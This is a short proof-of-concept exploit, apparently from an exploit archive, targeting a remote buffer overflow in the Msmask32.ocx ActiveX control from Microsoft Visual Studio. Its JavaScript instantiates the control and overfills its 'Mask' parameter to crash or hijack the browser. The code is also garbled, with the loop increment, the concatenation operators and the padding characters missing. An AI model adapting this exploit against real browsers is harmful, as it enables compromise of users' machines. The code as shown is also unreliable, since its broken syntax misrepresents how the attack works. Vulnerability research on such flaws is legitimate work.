Microsoft Visual Studio (Msmask32.ocx) ActiveX Remote BOF PoC

var body='<OBJECT CLASSID="CLSID:C932BA85-4374-101B-A56C-00AA003668DC"
    width="10"><PARAM NAME="Mask" VALUE="';
    var body1='"></OBJECT>';
    var buf='';
    for (i=1;i<=1945;i ){buf=buf unescape(" ");}
    document.write(body buf body1);